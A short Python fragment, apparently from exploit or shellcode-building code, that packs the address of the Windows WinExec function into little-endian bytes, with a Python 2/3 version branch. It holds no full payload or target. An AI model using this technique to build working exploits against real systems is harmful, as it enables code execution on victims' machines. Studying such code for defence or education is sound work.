bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)] bytesListe.reverse() addressWinExecBytes = b'' if sys.version_info<=(3,0): for byte in bytesListe: addressWinExecBytes+=chr(byte) else: addressWinExecBytes = bytes(bytesListe)